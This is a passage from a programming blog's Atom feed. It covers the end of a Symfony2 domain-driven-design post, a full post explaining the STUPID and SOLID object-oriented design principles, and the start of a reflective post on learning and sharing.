      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;62A0CEB4-0403-4AA6-A6CD-1EE808AD4D23&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;first_name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Jean&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;last_name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Bon&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tree src/&lt;/code&gt; on the command line should give you the following output:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;src
└── Acme
    ├── ApiBundle
    │   ├── Controller
    │   │   └── UserController.php
    │   ├── Resources
    │   │   ├── config
    │   │   │   ├── routing.yml
    │   │   │   └── serializer
    │   │   │       ├── User.User.yml
    │   │   │       └── User.UserId.yml
    │   │   └── views
    │   │       └── User
    │   │           └── all.html.twig
    │   └── AcmeApiBundle.php
    ├── CoreDomain
    │   └── User
    │       ├── User.php
    │       ├── UserId.php
    │       └── UserRepository.php
    └── CoreDomainBundle
        ├── DependencyInjection
        │   └── AcmeCoreDomainExtension.php
        ├── Repository
        │   └── InMemoryUserRepository.php
        ├── Resources
        │   └── config
        │       └── repositories.xml
        └── AcmeCoreDomainBundle.php
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Adopting the right &lt;strong&gt;folder structure&lt;/strong&gt; in your code is important. You should
always decouple your code as much as possible. By remembering that a bundle
&lt;strong&gt;integrates&lt;/strong&gt; a third-party library or just a set of agnostic classes, you end
up with a clean separation between Symfony2 related things, and your business
logic.&lt;/p&gt;

&lt;p&gt;Bundles that integrate your &lt;strong&gt;Domain Layer&lt;/strong&gt; packages are part of the
&lt;strong&gt;Infrastructure Layer&lt;/strong&gt;. Your controllers are part of the &lt;strong&gt;Application
Layer&lt;/strong&gt;. The missing layer is the &lt;strong&gt;Presentation Layer&lt;/strong&gt; (UI) which talk to
the &lt;strong&gt;Application Layer&lt;/strong&gt;. This layer is responsible for displaying information
to the user, and accept new data, but I will cover it in another article.&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/ddd.png&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Source: &lt;a href=&quot;http://guptavikas.wordpress.com/2009/12/01/domain-driven-design-an-introduction/&quot;&gt;http://guptavikas.wordpress.com/2009/12/01/domain-driven-design-an-introduction/&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;By using the &lt;strong&gt;Code First&lt;/strong&gt; approach, you have been able to write a first
action that just works. You won’t have to change it. However, you will be able
to rely on a database or whatever you want later on. It will be up to you.&lt;/p&gt;

&lt;p&gt;In the next blog post, I will &lt;strike&gt;introduce the **Presentation Layer**, new Value
Objects such as the `Name` one, and more on **DDD**!&lt;/strike&gt; &lt;a href=&quot;/2013/08/20/ddd-with-symfony2-making-things-clear/&quot;&gt;cover a few points that
have been misunderstood&lt;/a&gt;.&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>From STUPID to SOLID Code!</title>
        <link href="https://williamdurand.fr/2013/07/30/from-stupid-to-solid-code/"/>
        <updated>2013-07-30T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2013/07/30/from-stupid-to-solid-code</id>
        <content type="html">&lt;p&gt;Last week I gave a talk about &lt;a href=&quot;https://en.wikipedia.org/wiki/Object-oriented_programming&quot;&gt;Object-Oriented
Programming&lt;/a&gt; at
Michelin, the company I am working for. I talked about writing better code,
&lt;a href=&quot;http://slides.williamdurand.fr/from-stupid-to-solid-code/&quot;&gt;from STUPID to SOLID
code!&lt;/a&gt;
&lt;strong&gt;STUPID&lt;/strong&gt; as well as
&lt;a href=&quot;http://en.wikipedia.org/wiki/SOLID_(object-oriented_design)&quot;&gt;&lt;strong&gt;SOLID&lt;/strong&gt;&lt;/a&gt; are
two acronyms, and have been
&lt;a href=&quot;http://blog.ircmaxell.com/2012/05/dont-be-stupid-grasp-solid-slides.html&quot;&gt;covered&lt;/a&gt;
&lt;a href=&quot;http://nikic.github.io/2011/12/27/Dont-be-STUPID-GRASP-SOLID.html&quot;&gt;quite&lt;/a&gt; a
&lt;a href=&quot;http://lostechies.com/chadmyers/2008/03/08/pablo-s-topic-of-the-month-march-solid-principles/&quot;&gt;lot&lt;/a&gt;
for a long time. However, these mnemonics are not always well-known, so it is
worth spreading the word.&lt;/p&gt;

&lt;p&gt;In the following, I will introduce both &lt;strong&gt;STUPID&lt;/strong&gt; and &lt;strong&gt;SOLID&lt;/strong&gt; principles. Keep
in mind that these are &lt;strong&gt;principles&lt;/strong&gt;, &lt;strong&gt;not laws&lt;/strong&gt;. However, considering them as
laws would be good for those who want to improve themselves.&lt;/p&gt;

&lt;h2 id=&quot;stupid-code-seriously&quot;&gt;STUPID code, seriously?&lt;/h2&gt;

&lt;p&gt;This may hurt your feelings, but you have probably written STUPID code already. I have too. But, what does that mean?&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#singleton&quot;&gt;&lt;strong&gt;S&lt;/strong&gt;ingleton&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#tight-coupling&quot;&gt;&lt;strong&gt;T&lt;/strong&gt;ight Coupling&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#untestability&quot;&gt;&lt;strong&gt;U&lt;/strong&gt;ntestability&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#premature-optimization&quot;&gt;&lt;strong&gt;P&lt;/strong&gt;remature Optimization&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#indescriptive-naming&quot;&gt;&lt;strong&gt;I&lt;/strong&gt;ndescriptive Naming&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#duplication&quot;&gt;&lt;strong&gt;D&lt;/strong&gt;uplication&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the following, I will explain the individual points with more details. This
is more or less the transcript of my talk.&lt;/p&gt;

&lt;h3 id=&quot;singleton&quot;&gt;Singleton&lt;/h3&gt;

&lt;p&gt;The &lt;a href=&quot;http://en.wikipedia.org/wiki/Singleton_pattern&quot;&gt;Singleton pattern&lt;/a&gt; is
probably the most well-known design pattern, but also the most misunderstood
one. Are you aware of the &lt;em&gt;Singleton syndrome&lt;/em&gt;? It is when you think the
Singleton pattern is the most appropriate pattern for the current use case you
have. In other words, you use it everywhere. That is definitely &lt;strong&gt;not&lt;/strong&gt; cool.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://code.google.com/p/google-singleton-detector/wiki/WhySingletonsAreControversial&quot;&gt;Singletons are
controversial&lt;/a&gt;,
and they are often &lt;a href=&quot;http://stackoverflow.com/questions/11292109/why-is-singleton-considered-an-anti-pattern-in-java-world-sometimes&quot;&gt;considered
anti-patterns&lt;/a&gt;.
You should &lt;a href=&quot;http://programmers.stackexchange.com/questions/40373/so-singletons-are-bad-then-what&quot;&gt;avoid
them&lt;/a&gt;.
Actually, the use of a &lt;a href=&quot;http://programmers.stackexchange.com/questions/40373/so-singletons-are-bad-then-what/40376#40376&quot;&gt;singleton is not the problem, but the symptom of
a problem&lt;/a&gt;.
Here are two reasons why:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Programs using global state are very difficult to test;&lt;/li&gt;
  &lt;li&gt;Programs that rely on global state hide their dependencies.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But should you really avoid them all the time? I would say &lt;em&gt;yes&lt;/em&gt; because you can
often replace the use of a singleton by something better. Avoiding static things
is important to avoid something called &lt;strong&gt;tight coupling&lt;/strong&gt;.&lt;/p&gt;

&lt;h3 id=&quot;tight-coupling&quot;&gt;Tight Coupling&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Tight coupling&lt;/strong&gt;, also known as &lt;strong&gt;strong coupling&lt;/strong&gt;, is a generalization of
the Singleton issue. Basically, you should &lt;a href=&quot;http://martinfowler.com/ieeeSoftware/coupling.pdf&quot;&gt;reduce
coupling&lt;/a&gt; between your
modules. &lt;strong&gt;Coupling&lt;/strong&gt; is &lt;a href=&quot;http://en.wikipedia.org/wiki/Coupling_(computer_programming)&quot;&gt;the degree to which each program module relies on
each one of the other modules&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If making a change in one module in your application requires you to change another module,
then coupling exists. For instance, you instantiate objects in your
constructor’s class instead of passing instances as arguments. That is bad because
it &lt;strong&gt;doesn’t allow further changes&lt;/strong&gt; such as replacing the instance by an instance
of a sub-class, a &lt;em&gt;mock&lt;/em&gt; or whatever.&lt;/p&gt;

&lt;p&gt;Tightly coupled modules are &lt;strong&gt;difficult to reuse&lt;/strong&gt;, and also &lt;strong&gt;hard to test&lt;/strong&gt;.&lt;/p&gt;

&lt;h3 id=&quot;untestability&quot;&gt;Untestability&lt;/h3&gt;

&lt;p&gt;In my opinion, &lt;strong&gt;testing should not be hard!&lt;/strong&gt; No, really. Whenever you don’t
write unit tests because you don’t have time, the real issue is that your code
is bad, but that is another story.&lt;/p&gt;

&lt;p&gt;Most of the time, &lt;strong&gt;untestability&lt;/strong&gt; is caused by &lt;strong&gt;tight coupling&lt;/strong&gt;.&lt;/p&gt;

&lt;h3 id=&quot;premature-optimization&quot;&gt;Premature Optimization&lt;/h3&gt;

&lt;p&gt;Donald Knuth said: “&lt;em&gt;premature optimization is the root of all evil&lt;/em&gt;. There is
&lt;strong&gt;only cost&lt;/strong&gt;, and &lt;strong&gt;no benefit&lt;/strong&gt;”. Actually, optimized systems are much more
complex than just rewriting a loop or using &lt;a href=&quot;http://stackoverflow.com/questions/24886/is-there-a-performance-difference-between-i-and-i-in-c&quot;&gt;pre-increment instead of
post-increment&lt;/a&gt;.
You will just end up with unreadable code. That is why &lt;a href=&quot;http://www.c2.com/cgi/wiki?PrematureOptimization&quot;&gt;Premature Optimization
is often considered an anti-pattern&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A friend of mine often says that there are two rules to optimize an
application:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;don’t do it;&lt;/li&gt;
  &lt;li&gt;(for experts only!) don’t do it yet.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;indescriptive-naming&quot;&gt;Indescriptive Naming&lt;/h3&gt;

&lt;p&gt;This should be obvious, but still needs to be said: &lt;strong&gt;name&lt;/strong&gt; your classes, methods,
attributes, and variables &lt;strong&gt;properly&lt;/strong&gt;. Oh, and &lt;a href=&quot;/2013/06/03/object-calisthenics/#6-dont-abbreviate&quot;&gt;don’t
abbreviate&lt;/a&gt;! You write code
for people, not for computers. They don’t understand what you write anyway.
Computers just understand &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt;. &lt;strong&gt;Programming languages are for humans&lt;/strong&gt;.&lt;/p&gt;

&lt;h3 id=&quot;duplication&quot;&gt;Duplication&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;http://c2.com/cgi/wiki?DuplicatedCode&quot;&gt;Duplicated code&lt;/a&gt; is bad, so please &lt;a href=&quot;http://lostechies.com/patricklioi/2013/07/30/no-seriously-dont-repeat-yourself/&quot;&gt;Don’t
Repeat Yourself&lt;/a&gt;
(&lt;a href=&quot;http://en.wikipedia.org/wiki/Don&apos;t_repeat_yourself&quot;&gt;DRY&lt;/a&gt;),
and also &lt;a href=&quot;http://en.wikipedia.org/wiki/KISS_principle&quot;&gt;Keep It Simple, Stupid&lt;/a&gt;.
Be lazy the right way - write code only once!&lt;/p&gt;

&lt;p&gt;Now that I have explained what STUPID code is, you may think that your code
is STUPID. It does not matter (yet). Don’t feel bad, keep calm and be awesome
by writing SOLID code instead!&lt;/p&gt;

&lt;h2 id=&quot;solid-to-the-rescue&quot;&gt;SOLID to the rescue!&lt;/h2&gt;

&lt;p&gt;SOLID is a term describing a &lt;strong&gt;collection of design principles&lt;/strong&gt; for good code
that was invented by Robert C. Martin, also known as &lt;em&gt;Uncle Bob&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;SOLID means:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#single-responsibility-principle&quot;&gt;&lt;strong&gt;S&lt;/strong&gt;ingle Responsibility Principle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#openclosed-principle&quot;&gt;&lt;strong&gt;O&lt;/strong&gt;pen/Closed Principle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#liskov-substitution-principle&quot;&gt;&lt;strong&gt;L&lt;/strong&gt;iskov Substitution Principle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#interface-segregation-principle&quot;&gt;&lt;strong&gt;I&lt;/strong&gt;nterface Segregation Principle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#dependency-inversion-principle&quot;&gt;&lt;strong&gt;D&lt;/strong&gt;ependency Inversion Principle&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;single-responsibility-principle&quot;&gt;Single Responsibility Principle&lt;/h3&gt;

&lt;p&gt;Single Responsibility Principle or
&lt;a href=&quot;http://en.wikipedia.org/wiki/Single_responsibility_principle&quot;&gt;SRP&lt;/a&gt; states that
&lt;strong&gt;every class should have a single responsibility&lt;/strong&gt;. There should &lt;strong&gt;never be
more than one reason for a class to change&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Just because you can add everything you want into your class doesn’t mean that you
should. Thinking in terms of responsibilities will help you design your
application better. Ask yourself whether the logic you are introducing should live in
this class or not. Using &lt;strong&gt;layers&lt;/strong&gt; in your application helps a lot. Split big
classes in smaller ones, and avoid &lt;a href=&quot;http://c2.com/cgi/wiki?GodClass&quot;&gt;god
classes&lt;/a&gt;.
Last but not least, &lt;strong&gt;write straightforward comments&lt;/strong&gt;. If you start writing
comments such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;in this case&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;but if&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;except when&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;or&lt;/code&gt;, then you are
doing it wrong.&lt;/p&gt;

&lt;h3 id=&quot;openclosed-principle&quot;&gt;Open/Closed Principle&lt;/h3&gt;

&lt;p&gt;Open/Closed Principle or
&lt;a href=&quot;http://en.wikipedia.org/wiki/Open/closed_principle&quot;&gt;OCP&lt;/a&gt; states that software
entities should be &lt;strong&gt;open for extension&lt;/strong&gt;, but &lt;strong&gt;closed for modification&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;You should make all member variables &lt;strong&gt;private&lt;/strong&gt; by default. Write getters and setters only
when you need them. I’ve already covered this point in a previous
article, as &lt;a href=&quot;/2013/06/03/object-calisthenics/#9-no-getters/setters/properties&quot;&gt;the ninth rule of the Object
Calisthenics&lt;/a&gt;
is related to this principle.&lt;/p&gt;

&lt;h3 id=&quot;liskov-substitution-principle&quot;&gt;Liskov Substitution Principle&lt;/h3&gt;

&lt;p&gt;Liskov Substitution Principle or
&lt;a href=&quot;http://c2.com/cgi/wiki?LiskovSubstitutionPrinciple&quot;&gt;LSP&lt;/a&gt; states that objects in
a program should be &lt;strong&gt;replaceable with instances of their subtypes without
altering the correctness&lt;/strong&gt; of the program.&lt;/p&gt;

&lt;p&gt;Let’s take an example. A rectangle is a plane figure with four right angles. It
has a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;width&lt;/code&gt;, and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;height&lt;/code&gt;. Now, take a look at the following pseudo-code:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;rect = new Rectangle();

rect.width  = 10;
rect.height = 20;

assert 10 == rect.width
assert 20 == rect.height
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We simply set a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;width&lt;/code&gt; and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;height&lt;/code&gt; on a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Rectangle&lt;/code&gt; instance, and then
we assert that both properties are correct. So far, so good.&lt;/p&gt;

&lt;p&gt;Now we can improve our definition by saying that a rectangle with four sides of
equal length is called a square. A square &lt;strong&gt;is a&lt;/strong&gt; rectangle so we can create a
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Square&lt;/code&gt; class that extends the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Rectangle&lt;/code&gt; one, and replace the first line above
by the one below:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;rect = new Square();
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;According to the definition of a square, its width is equal to its height. Can
you spot the problem? The first assertion will fail because we had to change the
behavior of the setters in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Square&lt;/code&gt; class to fit the definition. This is a
violation of the Liskov Substitution Principle.&lt;/p&gt;

&lt;h3 id=&quot;interface-segregation-principle&quot;&gt;Interface Segregation Principle&lt;/h3&gt;

&lt;p&gt;Interface Segregation Principle or
&lt;a href=&quot;http://en.wikipedia.org/wiki/Interface_segregation_principle&quot;&gt;ISP&lt;/a&gt; states that
&lt;strong&gt;many&lt;/strong&gt; client-specific &lt;strong&gt;interfaces are better than one&lt;/strong&gt; general-purpose
interface. In other words, you should not have to implement methods that you
don’t use. Enforcing ISP gives you &lt;strong&gt;low coupling&lt;/strong&gt;, and &lt;strong&gt;high cohesion&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;When talking about &lt;strong&gt;coupling&lt;/strong&gt;,
&lt;a href=&quot;http://en.wikipedia.org/wiki/Cohesion_(computer_science)&quot;&gt;cohesion&lt;/a&gt; is often
mentioned as well. &lt;strong&gt;High cohesion&lt;/strong&gt; means to keep similar and related things
together. The &lt;strong&gt;union&lt;/strong&gt; of cohesion and coupling is &lt;a href=&quot;https://medium.com/@jasoncof/cohesion-and-coupling-principles-of-orthogonal-object-oriented-programming-9bf1eb92a2e5&quot;&gt;orthogonal
design&lt;/a&gt;.
The idea is to &lt;strong&gt;keep your components focused&lt;/strong&gt; and try to &lt;strong&gt;minimize the
dependencies between them&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Note that this is similar to the &lt;a href=&quot;#single-responsibility-principle&quot;&gt;Single Responsibility
Principle&lt;/a&gt;. An interface is a contract that
meets a need. It is ok to have a class that implements different interfaces, but be careful, don’t violate SRP.&lt;/p&gt;

&lt;h3 id=&quot;dependency-inversion-principle&quot;&gt;Dependency Inversion Principle&lt;/h3&gt;

&lt;p&gt;Dependency Inversion Principle or
&lt;a href=&quot;http://www.c2.com/cgi/wiki?DependencyInversionPrinciple&quot;&gt;DIP&lt;/a&gt; has two key
points:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Abstractions should not depend upon details&lt;/strong&gt;;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Details should depend upon abstractions&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This principle could be rephrased as &lt;strong&gt;use the same level of abstraction at a
given level&lt;/strong&gt;. Interfaces should depend on other interfaces. Don’t add concrete
classes to method signatures of an interface. However, use interfaces in your
class methods.&lt;/p&gt;

&lt;p&gt;Note that &lt;a href=&quot;http://lostechies.com/derickbailey/2011/09/22/dependency-injection-is-not-the-same-as-the-dependency-inversion-principle/&quot;&gt;Dependency Inversion Principle is not the same as Dependency
Injection&lt;/a&gt;.
&lt;strong&gt;Dependency Injection&lt;/strong&gt; is about how one object knows about another dependent
object. In other words, it is about &lt;a href=&quot;http://martinfowler.com/articles/dipInTheWild.html&quot;&gt;how one object acquires a
dependency&lt;/a&gt;. On the other
hand, DIP is about the level of abstraction. Also, a &lt;a href=&quot;http://www.martinfowler.com/articles/injection.html&quot;&gt;Dependency Injection
Container&lt;/a&gt; is a way to
auto-wire classes together. That does not mean you do Dependency Injection
though. Look at the &lt;a href=&quot;http://en.wikipedia.org/wiki/Service_locator_pattern&quot;&gt;Service
Locator&lt;/a&gt; for example.&lt;/p&gt;

&lt;p&gt;Also, rather than working with classes that are tight coupled, use interfaces.
This is called &lt;a href=&quot;http://www.fatagnus.com/program-to-an-interface-not-an-implementation/&quot;&gt;programming to the
interface&lt;/a&gt;.
This &lt;strong&gt;reduces dependency&lt;/strong&gt; on implementation specifics and makes code &lt;strong&gt;more
reusable&lt;/strong&gt;. It also ensures that you can replace the implementation without
violating the expectations of that interface, according to the Liskov
Substitution Principle seen before.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;As you probably noticed, &lt;strong&gt;avoiding tight coupling is the key&lt;/strong&gt;. It is present
in a lot of code, and if you start by focusing on &lt;em&gt;fixing&lt;/em&gt; this alone, you will immediately start writing better code.&lt;/p&gt;

&lt;p&gt;If I may leave you with only one piece of advice, that would be to &lt;strong&gt;use your brain&lt;/strong&gt;. There
are a lot of principles in software engineering. Even if you don’t understand all these
principles, always think before writing code. Take the time to understand those that you don’t understand.&lt;/p&gt;

&lt;p&gt;Honestly, writing SOLID code is not that hard.&lt;/p&gt;

&lt;h2 id=&quot;slides&quot;&gt;Slides&lt;/h2&gt;

&lt;script async=&quot;&quot; class=&quot;speakerdeck-embed&quot; data-id=&quot;e04c5ae0d74d013022821e9ac6d7834e&quot; data-ratio=&quot;1.29456384323641&quot; src=&quot;//speakerdeck.com/assets/embed.js&quot;&gt;&lt;/script&gt;

&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;STUPID&lt;/strong&gt; is an acronym that describes bad practices in Oriented Object
Programming:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#singleton&quot;&gt;&lt;strong&gt;S&lt;/strong&gt;ingleton&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#tight-coupling&quot;&gt;&lt;strong&gt;T&lt;/strong&gt;ight Coupling&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#untestability&quot;&gt;&lt;strong&gt;U&lt;/strong&gt;ntestability&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#premature-optimization&quot;&gt;&lt;strong&gt;P&lt;/strong&gt;remature Optimization&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#indescriptive-naming&quot;&gt;&lt;strong&gt;I&lt;/strong&gt;ndescriptive Naming&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#duplication&quot;&gt;&lt;strong&gt;D&lt;/strong&gt;uplication&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;SOLID&lt;/strong&gt; is an acronym that stands for &lt;strong&gt;five basic principles&lt;/strong&gt; of
Object-Oriented Programming and design to &lt;em&gt;fix&lt;/em&gt; STUPID code:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#single-responsibility-principle&quot;&gt;&lt;strong&gt;S&lt;/strong&gt;ingle Responsibility Principle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#open/closed-principle&quot;&gt;&lt;strong&gt;O&lt;/strong&gt;pen/Closed Principle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#liskov-substitution-principle&quot;&gt;&lt;strong&gt;L&lt;/strong&gt;iskov Substitution Principle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#interface-segregation-principle&quot;&gt;&lt;strong&gt;I&lt;/strong&gt;nterface Segregation Principle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#dependency-inversion-principle&quot;&gt;&lt;strong&gt;D&lt;/strong&gt;ependency Inversion Principle&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Rule of thumb: &lt;strong&gt;use your brain&lt;/strong&gt;!&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>I am a sponge</title>
        <link href="https://williamdurand.fr/2013/07/19/i-am-a-sponge/"/>
        <updated>2013-07-19T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2013/07/19/i-am-a-sponge</id>
        <content type="html">&lt;p&gt;&lt;em&gt;According to my PhD advisor, I am a sponge. What does that mean, though?  This
is the purpose of today’s article.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I am going to introduce a sort of &lt;em&gt;Sponge Theory&lt;/em&gt;. This is obviously not about
&lt;a href=&quot;https://en.wikipedia.org/wiki/SpongeBob_SquarePants&quot;&gt;SpongeBob&lt;/a&gt;. This informal theory is actually focused on two core principles:
&lt;strong&gt;learning&lt;/strong&gt; and &lt;strong&gt;sharing&lt;/strong&gt;, and the order matters.&lt;/p&gt;

&lt;h2 id=&quot;learning&quot;&gt;Learning&lt;/h2&gt;

&lt;p&gt;One of the main goals of a sponge (the material) is to &lt;strong&gt;sponge an impervious
surface&lt;/strong&gt; in order to clean it. A sponge is &lt;a href=&quot;https://en.wikipedia.org/wiki/Sponge_(material)&quot;&gt;especially good at absorbing water
and water-based solutions&lt;/a&gt;. In
other words, a sponge is able to &lt;em&gt;store&lt;/em&gt; a large amount of liquid into it.&lt;/p&gt;

&lt;p&gt;Obviously, as a human, being a sponge means that you are able to &lt;strong&gt;absorb a lot
of information&lt;/strong&gt;. You are interested in various topics (and not only technical
ones). You &lt;strong&gt;read&lt;/strong&gt; a lot, everything, all the time. You dig into topics that
sound cool to you. You enjoy learning new things and you try to keep you up to
date, even on things that you don’t use to do.&lt;/p&gt;

&lt;p&gt;Also, an interesting point about &lt;a href=&quot;https://en.wikipedia.org/wiki/Sponge&quot;&gt;sponges as
animals&lt;/a&gt; is that they &lt;strong&gt;filter the water
they absorb&lt;/strong&gt;. That is how they &lt;strong&gt;feed&lt;/strong&gt; themselves. It is similar to you when
you sort all the information you get. You certainly don’t agree with everything
you read. Being able to distinguish useful information is tricky though, and it
depends on various parameters such as the context in which you are living,
tastes, aspirations, etc. But I am digressing…&lt;/p&gt;

&lt;p&gt;Behaving like a sponge is not only about swallowing and filtering information.&lt;/p&gt;

&lt;h2 id=&quot;sharing&quot;&gt;Sharing&lt;/h2&gt;

&lt;p&gt;As I said, a sponge is not only about holding water-based solutions. You can
&lt;strong&gt;squeeze sponges in order to get the absorbed water&lt;/strong&gt; (please, don’t do that
with animals!). That is the second characteristic of a sponge, it is able to
return what it contains.&lt;/p&gt;

&lt;p&gt;You love &lt;strong&gt;sharing&lt;/strong&gt; things you learned, either by talking to your friends,
writing, teaching, tweeting, etc. For instance, I read a lot of RSS feeds and
weekly mailing lists and I tend to tweet about things that I consider relevant.
&lt;a href=&quot;/2013/06/07/teaching-is-the-best-way-to-learn/&quot;&gt;I also teach at the University&lt;/a&gt;
from time to time.&lt;/p&gt;

&lt;p&gt;For me personally, it is not too different than the
&lt;a href=&quot;/2012/01/16/did-i-tell-you-open-source-was-awesome/&quot;&gt;Open&lt;/a&gt;
&lt;a href=&quot;/2013/07/04/on-open-sourcing-libraries/&quot;&gt;Source&lt;/a&gt; world. When I start to use an
Open Source project, I learn about its internals and very often I contribute
back (in various ways).&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

